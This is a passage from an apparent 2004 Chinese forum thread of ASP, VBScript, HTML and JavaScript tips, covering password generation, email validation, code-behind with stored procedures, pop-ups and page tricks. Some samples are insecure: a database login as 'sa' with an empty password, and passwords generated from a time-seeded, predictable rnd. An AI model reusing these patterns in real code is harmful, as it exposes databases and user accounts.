strtemparr(j) = cstr(intrand)
strzhongjiangarr(i) = cstr(intrand)
'text1(i) = strzhongjiangarr(i)
i = i + 1
if i = 7 then
exit do
end if
end if
loop
end sub
Quote
2004-5-31 22:33 enru
随机产生用户密码

说明:通过随机产生密码,然后将密码email给注册用户,你可以确认用户的email填写是否正确。自动产生的密码往往安全性更高,同时,你可以过滤那些无效的用户。  

  把下面的代码保存为random.asp文件:

<%
sub strrandomize(strseed)
  dim i, nseed
  nseed = clng(0)
  for i = 1 to len(strseed)
    nseed = nseed xor ((256 * ((i - 1) mod 4) * ascb(mid(strseed, i, 1))))
  next

  randomize nseed
end sub


function generatepassword(nlength)
  dim i, bmadeconsonant, c, nrnd

  const strdoubleconsonants = "bdfglmnpst"
  const strconsonants = "bcdfghklmnpqrstv"
  const strvocal = "aeiou"

  generatepassword = ""
  bmadeconsonant = false

  for i = 0 to nlength
    nrnd = rnd
    if generatepassword <> "" and (bmadeconsonant <> true) and (nrnd < 0.15) then
      c = mid(strdoubleconsonants, int(len(strdoubleconsonants) * rnd + 1), 1)
      c = c & c
  i = i + 1
      bmadeconsonant = true
    else
      if (bmadeconsonant <> true) and (nrnd < 0.95) then
        c = mid(strconsonants, int(len(strconsonants) * rnd + 1), 1)
        bmadeconsonant = true
      else
        c = mid(strvocal,int(len(strvocal) * rnd + 1), 1)
        bmadeconsonant = false
      end if
    end if
    generatepassword = generatepassword & c
  next

  if len(generatepassword) > nlength then
    generatepassword = left(generatepassword, nlength)
  end if
end function
%>


  然后在你的目标程序中这样调用上面的代码,就可以实现密码的自动生成:(仅仅是一个例子,你可以把他们粘贴到一个test.asp的文件中,然后运行test.asp)

<!--include file="random.asp" -->

<%
'产生一个六位的密码

strrandomize cstr(now) & cstr(rnd)
response.write generatepassword(6)

%>
<br><br>

<%

'产生一个8位的密码
strrandomize cstr(now) & cstr(rnd)
response.write generatepassword(8)

%>
<br><br>


<%
'产生一个10位的密码
strrandomize cstr(now) & cstr(rnd)
response.write generatepassword(10)
%>
<br><br>

<%

'产生1000个密码

dim t, t2
  for t = 1 to 500
  for t2 = 1 to 661
  strrandomize cstr(now) & cstr(rnd)
  next
  strrandomize cstr(now) & cstr(rnd)
  response.write generatepassword(6)
  response.write "<br>"
next

%>
Quote
2004-5-31 22:36 enru
asp:用vbscript判断email地址的合法性

这里是一断正则表达式的例子
<%
function isemail(strng)
isemail = false
dim regex, match ' create variables.
set regex = new regexp ' create a regular expression object (stupid, huh?)
regex.pattern = "^\w+((-\w+)|(\.\w+))*\@[a-za-z0-9]+((\.|-)[a-za-z0-9]+)*\.[a-za-z0-9]+$" ' sets pattern.
regex.ignorecase = true ' set case insensitivity.
set match = regex.execute(strng) ' execute search.
if match.count then isemail= true
end function
%>
Quote
2004-5-31 22:37 enru
asp:页面延迟的两个简单方法

一、

<% response.buffer = true %>
<%
' setup the variables necessary to accomplish the task
dim timerstart, timerend, timernow, timerwait
' how many seconds do you want them to wait...
timerwait = 5
' setup and start the timers
timernow = timer
timerstart = timernow
timerend = timerstart + timerwait
' keep it in a loop for the desired length of time
do while (timernow < timerend)
' determine the current and elapsed time
timernow = timer
if (timernow < timerstart) then
timernow = timernow + 86400
end if
loop
' okay times up, lets git em outa here
response.redirect "nextpage.html" %>

二、

<%
sub timedelayseconds(delayseconds)
seccount = 0
sec2 = 0
while seccount < delayseconds + 1
sec1 = second(time())
if sec1 <> sec2 then
sec2 = second(time())
seccount = seccount + 1
end if
wend
end sub
%>

' to change delay adjust here
<% timedelayseconds(2) %>
Quote
2004-5-31 22:39 enru
asp:表示代码与逻辑代码分离

<%@ page inherits="mycodebehind" src="c2.vb" %>  

there is a nice section in the quickstart docs on this topic also. click here to read up on it!

here is the code

this example uses the following
ms-sql server 7.0 database
stored procedure
component1a.aspx (html file)
c2.vb
component1a.aspx (the page that is the ui)
<%@ page inherits="mycodebehind" src="c2.vb" debug="true" trace="true" %>

<script language="vb" runat="server">

sub page_load(sender as object, e as eventargs)

response.write("smile!!! i love learning new things everyday")

end sub
</script>


<html>
<head>
<title>component page 1</title>
</head>
<body>
<table border=0 cellpadding=3 cellspacing=3>
<tr bgcolor="#cccccc">
<td>
<font face="arial, helv" size="-1">
please fill out this form to create a new user profile for your
company's component.
<br>
once this information is gathered you will not need to enter it again and you will be able to update anytime.
<p>
use the button at the bottom of this page to continue when you are finished.
<br>
</font>
</td>
</tr>
</table>

    <font size="+1"><b><font color="#ff0000">*=required fields</b><br>

<form method="post" name="form1" runat="server">
<table> <tr>
<td align=right>
<asp:label id="label1" text="company name" font-name="verdana" font-size="10pt" width="200px" borderstyle="solid" bordercolor="#cccccc" runat="server"/>
</td>
<td>
<asp:textbox id="companyname" size="30" runat="server" />
<asp:requiredfieldvalidator controltovalidate="companyname" display="dynamic" errormessage="you must enter your name!" runat=server/>
</td>
</tr>
<tr>
<td align=right>
<asp:label id="label2" text="company url" font-name="verdana" font-size="10pt" width="200px" borderstyle="solid" bordercolor="#cccccc" runat="server"/>
</td>
<td>
<asp:textbox id="companyurl" size="30" runat="server" />
</td>
</tr>

</font>
<tr>
<td align=right>
<asp:label id="label3" text="contact email" font-name="verdana" font-size="10pt" width="200px" borderstyle="solid" bordercolor="#cccccc" runat="server"/>
</td>
<td>
<asp:textbox id="emailaddress" size="30" runat="server" maintainstate="false" />
<asp:regularexpressionvalidator controltovalidate="emailaddress" validationexpression="[\w-]+@[\w-]+\.(com|net|org|edu|mil)" display="dynamic" font-name="verdana" font-size="9pt" errormessage="must use a valid email address." runat="server"> </asp:regularexpressionvalidator>
<asp:requiredfieldvalidator controltovalidate="emailaddress" display="dynamic" font-name="verdana" font-size="9pt" errormessage="'email' must not be left blank." runat=server> </asp:requiredfieldvalidator> </td>
</tr>
</table>

<table border=0 bgcolor="#cccccc" cellpadding=3 cellspacing=3 width="490">
<tr>
<td width="100%" colspan="2">
<asp:button id="button1" text="create profile" onclick="button1_click" runat="server"/>
</td>
</tr>
</table>
</form>

</body>
</html>



c2.vb file(this file contains the business logic that is inherited just like a compiled dll
option strict off

imports system
imports system.datetime
imports system.globalization
imports system.data
imports system.data.sql
imports system.web.ui
imports system.web.ui.webcontrols
imports system.web.ui.htmlcontrols

public class mycodebehind : inherits page
'declare a public variable to hold the identity value
public strid as string

public sub button1_click(sender as object, e as eventargs)

if page.isvalid then

dim myconnection as sqlconnection

myconnection = new sqlconnection("server=localhost;uid=sa;pwd=;database=aspfree")

'puts the local date in variable to be written to the database
dim d as datetime
d = now()
d = d.date()

'using the request.form, this retrieves the variables out of the forms collection

dim mycommand = new sqlcommand("sp_componentcompanyinfo", myconnection)

mycommand.commandtype = commandtype.storedprocedure

mycommand.parameters.add(new sqlparameter("@companyname", sqldatatype.varchar, 50))
mycommand.parameters("@companyname").value = request.form("companyname")

mycommand.parameters.add(new sqlparameter("@companyurl", sqldatatype.varchar, 50))
mycommand.parameters("@companyurl").value = request.form("companyurl")

mycommand.parameters.add(new sqlparameter("@emailaddress", sqldatatype.varchar, 50))
mycommand.parameters("@emailaddress").value = request.form("emailaddress")

mycommand.parameters.add(new sqlparameter("@datesubmitted", sqldatatype.datetime, 8))
mycommand.parameters("@datesubmitted").value = d //stores the date variable!

mycommand.activeconnection.open()


dim workparam as sqlparameter

'this line brings back the value using the output method
workparam = mycommand.parameters.add(new sqlparameter("@companyid", sqldatatype.int, 4))
workparam.direction = parameterdirection.output

try
mycommand.execute()
'this line populates the strid variable with the identity value
strid = (mycommand.parameters("@companyid").value.tostring())

catch myexception2 as exception
response.write(myexception2.tostring())
finally

end try

mycommand.activeconnection.close()
dim strurl as string = "component1a.aspx?categoryid=" & strid
page.navigate(strurl)
end if

end sub

end class




stored procedure that does the business logic

create procedure sp_componentcompanyinfo

@companyname varchar(100),
@companyurl varchar(100),
@emailaddress varchar(100),
@datesubmitted datetime,
@companyid int output

as

insert tblcomponentcompanyinfo(companyname, companyurl, emailaddress,
datesubmitted)
values (@companyname, @companyurl, @emailaddress, @datesubmitted)

select @companyid = @@identity
return


ddl that creates the table
create table [dbo].[tblcomponentcompanyinfo] (
[companyid] identity (1, 1) not null ,
[companyname] [varchar] (100) null ,
[companyurl] [varchar] (100) null ,
[emailaddress] [varchar] (100) null ,
[datesubmitted] [datetime] null
) on [primary]
go

alter table [dbo].[tblcomponentcompanyinfo] with nocheck add
constraint [pk_tblcomponentcompanyinfo] primary key nonclustered
(
[companyid]
) with fillfactor = 90 on [primary]
go
Quote
2004-6-2 19:18 enru
1.怎样才能把realplayer文件在网页做一个试听连接?

<embed height=25 src=51js.rm type=audio/x-pn-realaudio-plugin width=50 autostart="false" controls="playbutton">

2.请问如何去掉ie的上下滚动条?


<body style='overflow:scroll;overflow-y:hidden'>

</body>

3.如何在打开页面的时候,输入表单就获得焦点?

如果表单没有名字可以用document.forms数组访问 如果表单项没有名字可以用document.forms.elements数组访问 这里index是整数 比如:

<form>

<input type="text" value="" onclick ="document.forms[0].elements[0].value='我是表单1,第一个表单项';">

</form>

<form name="form2">

<input type="text" value="" onclick ="document.form2.elements[0].value='我是表单2,第一个表单项';">

</form>

<form name="form3">

<input name="text3" type="text" value="" onclick ="document.form3.text3.value='我是表单3,第一个表单项';">

</form>

4.解释一下event.x和event.clientx有什么区别?

event.clientx返回事件发生时,mouse相对于客户窗口的x坐标

event.x也一样

但是如果设置事件对象的定位属性值为relative

event.clientx不变

而event.x返回事件对象的相对于本体的坐标

event代表事件的状态,例如事件发生的的元素、鼠标的位置等等,event对象只在事件过程中才有效。

event属性:

altkey

检索alt键的当前状态

可能的值 true为关闭

false为不关闭

button

检索按下的鼠标键

可能的值: 0 没按键

1 按左键

2 按右键

3 按左右键

4 按中间键

5 按左键和中间键

6 按右键和中间键

7 按所有的键

cancelbubble

设置或检索当前事件是否将事件句柄起泡

可能的值: false 启用起泡

true 取消该事件起泡

clientx

检索与窗口客户区域有关的鼠标光标的x坐标,属性为只读,没有默认值。

clienty

检索与窗口客户区域有关的鼠标光标的y坐标,属性为只读,没有默认值。

ctrlkey

ctrlkey 检索ctrl键的当前状态

可能的值 true为关闭

false为不关闭

datafld

检索被oncellchange事伯影响的列

atransfer

为拖放操作提供预先定义的剪贴板式。

element

检索在onmouseover和onmouseout事件期间退出的对象指针

keycode

设置或检索与引发事件的关键字相关联的unicode关键字代码

该属性与onkeydown onkeyup onkeypress一起使用

如果没有引发事件的关键字,则该值为0

offsetx

检索与触发事件的对象相关的鼠标位置的水平坐标

offsety

检索与触发事件的对象相关的鼠标位置的垂直坐标

propertyname

检索在对象上己更改的特性的名称

reason

检索数据源对象数据传输的结果

可能的值:

0 数据传输成功

1 数据传输失败

2 数据传输错误

recordset

检索数据源对象中默认记录集的引用

该特性为只读

repeat

检索一个事件是否被重复

该属性只有在onkeydown事件重复时才返回true

returnvalue

设置或检索从事件中返回的值

可能的值:

true 事件中的值被返回

false 源对象上事件的默认操作被取消

screenx

检索与用户屏相关的鼠标的水平位置

screeny

检索与用户屏相关的鼠标的垂直位置

shiftkey

检索shiftkey键的当前状态

可能的值 true为关闭

false为不关闭

srcelement

检索触发事件的对象

srcfilter

检索导致onfilterchange事件触发的过滤器对象

srcum

检索触发事件行为的同一资源名称

除非下面两个条件都为真,否则该特性被设置为null

1.行为被附加到触发事件的要素上

2.在前面的项目符号中定义的行为己指定了一个urn标识符和己触发的事件

toelement

检索作为onmouseover或者onmouseout事件结果而移动的对象

type

检索事件对象中的事件名称

x

检索相对于父要素鼠标水平坐标的整数

y

检索相对于父要素鼠标垂直坐标的整数

5.请问如何让网页自动刷新?

在head部记入<meta http-equiv="refresh" content="20">其中20为20秒后自动刷新,你可以更改为任意值。

6.如何让一个窗口永远在最上面?

<a onclick=aa()>点这里</a>

<script language='javascript'>

function aa(){

y=window.showmodaldialog("http://www.51js.com","","height: 300; width: 275; help: no");

}

</script>

7.如何实现虚线边框?

<html>

<head>

<title>虚线</title>

<meta http-equiv="content-type" content="text/html; charset=gb2312">

</head>

<body bgcolor="#ffffff" text="#000000">

<table width="100%" border="0" cellspacing="0" cellpadding="0">

<tr>

<td style="border-top-style:dashed ;"> </td>

</tr>

</table>

</body>

</html>

[/html]

还可以把dashed换成dotted | solid | double | groove | ridge | inset | outset 等等样式,还可以在style里指定颜色:border-color:#??????

[html]<html>

<head>

<meta http-equiv="content-type" content="text/html; charset=gb2312">

<title>new page 1</title>

<meta name="generator" content="microsoft frontpage 3.0">

</head>

<body>

<table border="1" width="100%" style="border: 1px dashed">

<tr>

<td width="50%"> </td>

<td width="50%"> </td>

</tr>

<tr>

<td width="50%"> </td>

<td width="50%"> </td>

</tr>

<tr>

<td width="50%"> </td>

<td width="50%"> </td>

</tr>

</table>

</body>

</html>

[/html]

[html]<html>

<body>

<table>

<tr>

<td style="border-top:dashed 1px #000000;border-left:dashed 1px #000000;border-right:dashed 1px #000000">只有这样才行吗?</td>

</tr>

<tr><td style="border-left:dashed 1px #000000;border-right:dashed 1px #000000" height=100> </td></tr>

<tr><td style="border-bottom:dashed 1px #000000;border-left:dashed 1px #000000; border-right:dashed 1px #000000">如果td多了,这样出来的虚线边框是断断续续的。</td></tr></table>

</body></html>

8.如何用html实现浏览器上后退按钮的功能?

<a href="javascript:history.go(-1)">点击后退</a>

或者

<script> history.back() </script>

9.表单中如何用图片按钮实现 reset?

<html>

<head>

<script>

function aaa(){

document.forms[0].reset()

}

</script>

</head>

<body>

<form>

<textarea rows="2" name="s1" cols="20"></textarea>

<input type="submit" value="提交" name="b1">

<image src="logo.gif" onclick=aaa()>

</form>

</body></html>

10.怎样去掉图片链接点击后,图片周围的虚线?

onfocus="if(this.blur)this.blur()" blur: 使物件失焦... 當你点击图片链接時 图片链接得到焦點(focus) 就會出現虚线(提示你這個圖片得到焦點了) 用blur能使之失焦 簡單一點的語法 onfocus="this.blur()"

11.如何去掉网页连接的下划线?

<head>

<style type="text/css">

<!--

a { text-decoration: none}

-->

</style>

</head>

<a href=http://www.51js.com>一个连接</a>

12.请问怎么在网页中改变鼠标的箭头形状?

<body>

<a href="#" style="cursor: auto;">auto</a><br>

<a href="#" style="cursor: crosshair ">crosshair </a><br>

<a href="#" style="cursor: default ">default </a><br>

<a href="#" style="cursor: hand ">hand </a><br>

<a href="#" style="cursor: move ">move </a><br>

<a href="#" style="cursor: e-resize ">e-resize </a><br>

<a href="#" style="cursor: ne-resize ">ne-resize </a><br>

<a href="#" style="cursor: nw-resize">nw-resize</a><br>

<a href="#" style="cursor: n-resize">n-resize</a><br>

<a href="#" style="cursor: se-resize">se-resize</a><br>

<a href="#" style="cursor: sw-resize">sw-resize</a><br>

<a href="#" style="cursor: s-resize">s-resize</a><br>

<a href="#" style="cursor: w-resize">w-resize</a><br>

<a href="#" style="cursor: text">text</a><br>

<a href="#" style="cursor: wait">wait</a><br>

<a href="#" style="cursor: help">help</a><br>

</body>

13.target="_blank"规定链接在新窗口中打开,那 target="_parent"、 target="_self" 、target="_top"的作用又是什么?

target="_parent"、上一层框架

target="_self" 、自身窗口、框架

target="_top" 最顶层框架。

更细点的解释,从织梦补给网找来的:

_blank

開啟一個新的視窗,而且是沒有命名的視窗。

_self

強迫連結的結果顯示在同一個子畫面,而忽略 base 的設定。

_parent

在該子畫面的「父畫面」(也就是上一層的 frameset)中顯示連結的結果。

_top

從視窗的最上頭開始顯示畫面;換句話說就是先清除整個視窗後再載入連結

14.如何使网友收藏本网时,收藏夹显示的不是微软的那个一成不变的标志,而是本人选择的icon?

<link href="fav.ico" rel="shortcut icon">

加入hade標簽中,圖片放入根目錄下,須是.ico格式.

有的空間不支援直接放在根目錄

必須加上

<link href="路徑/圖檔.ico" rel="shortcut icon">

15.请问如何去掉主页右面的滚动条?

<body scroll="no">

<body style="overflow-y:hidden">


Quote
2004-6-2 20:06 enru
16.怎样不使用页面的缓存?即每一次打开页面时不是调用缓存中的东西

<meta http-equiv="pragma" content="no-cache">

17.请问如何忽视右键?
<body oncontextmenu="return false">

18.怎样在同一页面内控制不同链接的css属性?

a:active{}

a:link{}

a:visited{}

a.1:active{}

a.1:link{}

a.1:visited{}

在dw4的css中定义一个新的标示,按照html的语法,超级连接得是

a.yours:link a.yours:hover

yours可以改作你自己的字

然后在选中某个连接后,在css面版中点中yours即可。

按需要,你可以定义n个标示,n种鼠标over的效果

19.电子邮件处理提交表单

<form name="form1" method="post" action="mailto:webmaster@51js.com" enctype="text/plain">

<input type=submit>

</form>

20.有没有可能用层来遮住flash?

1.在flash的parameters里加入 <param name="wmode" value="transparent">

2.<body onblur=self.focus()>

21.如何根据屏幕分辨率调用相对应的页面?

先做好几个页面,比如一个htm1.htm是800*600,一个是htm2.htm是1024*768的 然后在你的入口页面 index.htm 中判断:

<html>

<head>

<script language=javascript>

<!--

function mhref() {

if (screen.width == 1024) location.href = "htm2.htm";

else if (screen.width == 800) location.href = "htm1.htm";

else return(false);

}

//-->

</script>

</head>

<body onload="mhref();">

</body>

</html>

22.不用询问就关闭浏览器

<head>

<object id=closes type="application/x-oleobject" classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11">

<param name="command" value="close">

</object>

</head>

<body>

<input type="button" value="点击我关闭窗口" onclick="closes.click();">

</body>

23.如何弹出只有状态栏的窗口?


<html>

<head>

<title>open() close()</title>

<script language="javascript" type="text/javascript">

<!--

function openwin()

{

var newwin=open("","","menubar=1,height=200");

newwin.document.write("<form>");

newwin.document.write("单击以下按钮关闭窗口:<p>");

newwin.document.write("<input type=button value='关闭' onclick=window.close()>");

newwin.document.write("</form>");

}

</script></head>

<body>

<div align=center>

<h2>单击以下按钮显示新窗口...</h2>

<form name=form1>

<input type=button value="新窗口1[只显示地址栏]" onclick=window.open('','new1','location=1')>

<input type=button value="新窗口2[只显示状态栏]" onclick=window.open('','','status=1')>

<input type=button value="新窗口3[只显示工具栏]" onclick=window.open('','new2','toolbar=1,height=200,width=450')>

<input type=button value="新窗口4[只显示菜单栏]" onclick=openwin()>

<input type=button value="新窗口5[一个不少]" onclick=window.open('','new5')>

<input type=button value="新窗口6[光棍但可调大小]" onclick=window.open('http://www.51js.com/forumdisplay.php?forumid=32#thread','new6','resizable=1')>

</form>

</div>

</body>

</html>

24.如何改变iframe的src地址

<body>

<input type="button" value="改变地址" onclick="parent.displayinhere.location.href='http://www.gznet.com/'">

<iframe name="displayinhere" width=250px; height=200px; src="http://www.51js.com">

</body>

25.如何让超链接没有下划线

在源代码中的<head>…</head>之间输入如下代码:

<style type="text/css"> <!--

a { text-decoration: none}

--> < /style>

26.页面打开时自动弹出一个窗口的代码怎么写?

<html>

<head>

<title>untitled document</title>

<meta http-equiv="content-type" content="text/html; charset=gb2312">

<script language="javascript">

<!--

function mm_openbrwindow(theurl,winname,features) { //v2.0

window.open(theurl,winname,features);

}

//-->

</script>

</head>

<body bgcolor="#ffffff" text="#000000" onload="mm_openbrwindow('1212312.htm','','width=400,height=400')">

</body>

</html>

27.请问如何做到让一个网页自动关闭.

<html>

<head>

<object id=closes type="application/x-oleobject" classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11">

<param name="command" value="close">

</object>

</head>

<body onload="window.settimeout('closes.click()',10000)">

这个窗口会在10秒过后自动关闭,而且不会出现提示. </body>

28.如何让我的页面出现一个会讲话的小人?merlin

<html>

<head>

<title>默林</title>

<meta http-equiv=content-type content="text/html; charset=gb2312">

</head>

<body>

<p><object id=sims classid=clsid<img src="images/smilies/bigsmile.gif" border=0>45fd31b-5c6e-11d1-9ec1-00c04fd7081f>

</object>

<script>

var merlinid;

var merlinacs;

sims.connected = true;

merlinloaded = loadlocalagent(merlinid, merlinacs);

merlin = sims.characters.character(merlinid);

merlin.show();

merlin.play("surprised");

merlin.speak("大家好");

merlin.play("gestureleft");

merlin.think("我是默林!");

merlin.play("pleased");

merlin.think("可爱吗?");

merlin.play("gesturedown");

merlin.speak("哈哈!");

merlin.hide();

function loadlocalagent(charid, characs){

loadreq = sims.characters.load(charid, characs);

return(true);

}

</script>

</p>

<p> </p>

<p>看此效果必须装有office2000!!!</p>

</body>

</html>

如果看不到效果或效果有问题,请将代码保存为html文件查看.

这代码中使用的msagent仍然属于客户端的控件,在win98安装pws时可以安装上一个叫merlin的精灵,查查你的系统中有没有一个叫做merlin.acf的文件,应该在一个叫msagent的目录,记不太清了,有的话才能看到,否则就会出现下载的提示,在win2000中已安装了msagent2.0,所以一般都会正确的显示出来,还有很多精灵,但之所以选用merlin因为大部分的机器上都有,如果想自己定制的话,可以到微软去下载一个叫character editor的工具,制作的精灵必须分发到客户端才可使用,在微软站点的msagent是在服务器端的,每个命令都要到服务器上去处理,然后发回相应的动作图画,(不过至今我还没看到过,我们的带宽本来就不够,还有一堆人在下载,哎,真是痛苦!),我还没有看到有关在server端制作msagent的文章,谁有的话,可以告诉我一声。 其中: 用"=number" number是字数/分 例如: merlin.speak "=62to the 51js" merlin.speak "=160to the 51js" 还有,找到这句: merlin.languageid = 0x409; 改为0x804 (simplified chinese) 改为0x404 (traditional chinese) 要用的话最好到微软去看看它的使用许可协议,要是被微软告了可别怪我噢!! 最终用户许可 http://msdn.microsoft.com/msagent/eula.asp 分发许可 http://msdn.microsoft.com/msagent/agentlic.asp msagent 下载 http://activex.microsoft.com/activex/controls/agent2/msagent.exe http://agent.microsoft.com/agent2/chars/merlin.exe http://agent.microsoft.com/agent2/chars/peedy.exe 资料: http://msdn.microsoft.com/workshop/imedia/agent/techfaq.asp
29.如何几秒后转到别的页面?

<meta http-equiv="refresh" content="时间;url=地址">

30.在页面中如何加入不是满铺的背景图片,拉动页面时背景图不动

<html><head>

<style>

body {background-image:url(../bihu/pic/logo.gif);

background-repeat:no-repeat; background-position:center }

</style>

</head>

<body bgproperties="fixed" >

</body>

</html>

31.文本输入框什么属性能实现不可输入?

<input type="text" name="textfield" disabled>

或者

<input type="text" name="textfield" readonly>
Quote
2004-6-2 20:09 enru
32.怎样保持layer在最前面,而不被iframe、object所覆盖,有什么解决方法?

只要在layer中再插iframe 或 object 设z-index值

<div z-index:2><object xxx></object></div> # 前面

<div z-index:1><object xxx></object></div> # 后面

<div id="layer2" style="position:absolute; top:40;width:400px; height:95px;z-index:2"><table height=100% width=100% bgcolor="#ff0000"><tr><td height=100% width=100%></td></tr></table><iframe width=0 height=0></iframe></div>

<div id="layer1" style="position:absolute; top:50;width:200px; height:115px;z-index:1"><iframe height=100% width=100%></iframe></div>

33.如何让表格并排?

首先在第一个表里应该这样写: "<table border=0 cellpadding=1 cellspacing=1 align=left>" 这table里最为关键是"align=left"这一句。 然后在第二个表里也应该加上align=left 这样,你的目的就达到了。

<table width="200" border="0" cellspacing="1" cellpadding="0" bgcolor="#000000" align=left>

<tr>

<td bgcolor="#ffffff"> </td>

</tr>

</table>

<table width="200" height=200 border="0" cellspacing="1" cellpadding="0" bgcolor="#cccccc" align=left>

<tr>

<td bgcolor="#ffffff"> </td>

</tr>

</table>

[/html]

[html]<table border="1" cellspacing="0" cellpadding="0" bordercolor="#ff0000" align=left> <tr><td>你好</tr></td></table>

<table border="1" cellspacing="0" cellpadding="0" bordercolor="#00ff00"><tr><td> 我很好</tr></td></table>

<br>还可以排三个

<br>

<table border="1" cellspacing="0" cellpadding="0" bordercolor="#ff0000" align=left> <tr><td>你好</tr></td></table>

<table border="1" cellspacing="0" cellpadding="0" bordercolor="#00ff00" align=right><tr><td> 我很好</tr></td></table>

<table border="1" cellspacing="0" cellpadding="0" bordercolor="#0000ff" align=center><tr><td> 他也很好</tr></td></table>

34.如何让两个form表单行距之间不出现空格?

这样写 <table><form><tr>.......</tr></form></table>

35.如何让页面自动刷新?

方法一,用refresh

<head>

<meta http-equiv="refresh" content="5">

</head>

5表示刷新时间

方法二,使用settimeout控制 <script> function rl(){ document.location.reload() } settimeout(rl,2000) </script>

36.如何给文本连接加上提示语言?

<a href="#" title="我出来拉">click me</a>

37.英文排版的问题:怎么能让英自动排列整齐?

请使用css中的 text-align: justify;

<table style="table-layout: fixed" width="100%" border="0" cellspacing="0" cellpadding="7" bgcolor="#f7f7f7">

<tr>

<td style="left: 0px; width: 100%; text-align: justify"><font color="#990000">[效果]</font><br>

who are you you are a aaa is it comprehention who are you you are a pig is it comprehention

who are you you are a aaa is it comprehention

who are you you are a aaa is it comprehention

</font></td>

</tr>

</table>

38.如何禁止自己的页面在别人的框架里打开?

把以下代码加至你的<head>区

<script>

if (window.top!=self){

window.top.location=self.location

}

</script>

39.在打开的子窗口刷新父窗口的代码里如何写?

window.opener.location.reload()

40.如何不用图片生成圆角的表格?

<html xmlns:v="urn:schemas-microsoft-com:vml"

xmlns:o="urn:schemas-microsoft-com:office:office"

xmlns:w="urn:schemas-microsoft-com:office:word"

xmlns="http://www.w3.org/tr/rec-html40">

<head>

<meta http-equiv=content-type content="text/html; charset=gb2312">

<link rel=original-file href="文档%201">

<meta name=progid content=word.document>

<meta name=generator content="microsoft word 9">

<meta name=originator content="microsoft word 9">

<link rel=file-list href="./文档%201.files/filelist.xml">

<link rel=edit-time-data href="./文档%201.files/editdata.mso">

<!-->

<style>

v* {behavior:url(#default#vml);}

o* {behavior:url(#default#vml);}

w* {behavior:url(#default#vml);}

.shape {behavior:url(#default#vml);}

</style>

<![endif]--><!--><xml>

<oocumentproperties>

<o:author>zhy</o:author>

<o:template>normal</o:template>

<o:revision>1</o:revision>

<o:totaltime>1</o:totaltime>

<o:created>2003-05-10t09:20:00z</o:created>

<oages>1</oages>

<o:characters>1</o:characters>

<o:company>yd</o:company>

<o:lines>1</o:lines>

<oaragraphs>1</oaragraphs>

<o:characterswithspaces>1</o:characterswithspaces>

<o:version>9.2812</o:version>

</oocumentproperties>

</xml><![endif]--><!--><xml>

<w:worddocument>

<w:view>normal</w:view>

<w:zoom>0</w:zoom>

<wunctuationkerning/>

<wrawinggridverticalspacing>7.8 磅</wrawinggridverticalspacing>

<wisplayhorizontaldrawinggridevery>0</wisplayhorizontaldrawinggridevery>

<wisplayverticaldrawinggridevery>2</wisplayverticaldrawinggridevery>

<w:compatibility>

<w:spaceforul/>

<w:balancesinglebytedoublebytewidth/>

<wonotleavebackslashalone/>

<w:ultrailspace/>

<wonotexpandshiftreturn/>

<w:adjustlineheightintable/>

<w:usefelayout/>

</w:compatibility>

<wonotoptimizeforbrowser/>

</w:worddocument>

</xml><![endif]-->

<style>

<!--

/* font definitions */

@font-face

{font-family:宋体;

panose-1:2 1 6 0 3 1 1 1 1 1;

mso-font-alt:simsun;

mso-font-charset:134;

mso-generic-font-family:auto;

mso-font-pitch:variable;

mso-font-signature:1 135135232 16 0 262144 0;}

@font-face

{font-family:"@宋体";

panose-1:2 1 6 0 3 1 1 1 1 1;

mso-font-charset:134;

mso-generic-font-family:auto;

mso-font-pitch:variable;

mso-font-signature:1 135135232 16 0 262144 0;}

/* style definitions */

p.msonormal, li.msonormal, div.msonormal

{mso-style-parent:"";

margin:0cm;

margin-bottom:.0001pt;

text-align:justify;

text-justify:inter-ideograph;

mso-pagination:none;

font-size:10.5pt;

mso-bidi-font-size:12.0pt;

font-family:"times new roman";

mso-fareast-font-family:宋体;

mso-font-kerning:1.0pt;}

/* page definitions */

@page

{mso-page-border-surround-header:no;

mso-page-border-surround-footer:no;}

@page section1

{size:595.3pt 841.9pt;

margin:72.0pt 90.0pt 72.0pt 90.0pt;

mso-header-margin:42.55pt;

mso-footer-margin:49.6pt;

mso-paper-source:0;

layout-grid:15.6pt;}

div.section1

{page:section1;}

-->

</style>

<!--><xml>

<o:shapedefaults v:ext="edit" spidmax="2050"/>

</xml><![endif]--><!--><xml>

<o:shapelayout v:ext="edit">

<o:idmap v:ext="edit" data="1"/>

</o:shapelayout></xml><![endif]-->

</head>

<body lang=zh-cn style='tab-interval:21.0pt;text-justify-trim:punctuation'>

<div class=section1 style='layout-grid:15.6pt'>

<p class=msonormal><!--><v:shapetype id="_x0000_t176"

coordsize="21600,21600" o:spt="176" adj="2700" path="m@0,0qx0@0l0@2qy@0,21600l@1,21600qx21600@2l21600@0qy@1,0xe">

<v:stroke joinstyle="miter"/>

<v:formulas>

<v:f eqn="val #0"/>

<v:f eqn="sum width 0 #0"/>

<v:f eqn="sum height 0 #0"/>

<v:f eqn="prod @0 2929 10000"/>

<v:f eqn="sum width 0 @3"/>

<v:f eqn="sum height 0 @3"/>

<v:f eqn="val width"/>

<v:f eqn="val height"/>

<v:f eqn="prod width 1 2"/>

<v:f eqn="prod height 1 2"/>

</v:formulas>

<v:path gradientshapeok="t" limo="10800,10800" o:connecttype="custom"

o:connectlocs="@8,0;0,@9;@8,@7;@6,@9" textboxrect="@3,@3,@4,@5"/>

</v:shapetype><v:shape id="_x0000_s1028" type="#_x0000_t176" style='position:absolute;

left:0;text-align:left;margin-left:135pt;margin-top:31.2pt;width:171pt;

height:101.4pt;z-index:1'>

<v:textbox>

<!>

<table cellpadding=0 cellspacing=0 width="100%">

<tr>

<td><![endif]>

<div>

<p class=msonormal><span style='font-family:宋体;mso-ascii-font-family:"times new roman";

mso-hansi-font-family:"times new roman"'>这个可以算吗</span></p>

</div>

<!></td>

</tr>

</table>

<![endif]></v:textbox>

</v:shape><![endif]--><!><span style='mso-ignore:vglayout'>

<table cellpadding=0 cellspacing=0 align=left>

<tr>

<td width=180 height=42></td>

</tr>

<tr>

<td></td>

<td><img width=231 height=138 src="./文档%201.files/image001.gif"

alt=" 这个可以算吗" v:shapes="_x0000_s1028"></td>

</tr>

</table>

</span><![endif]><span lang=en-us><!> <![endif]><o:p></o:p></span></p>

</div>

</body>

</html>
Quote
2004-6-2 20:14 enru
41.如何在javascript中捕捉错误信息?

<script>

try{

var s=a.b;

}

catch(anerror)

{

alert(anerror.description);

}

</script>

42.js正则表达式replace用法

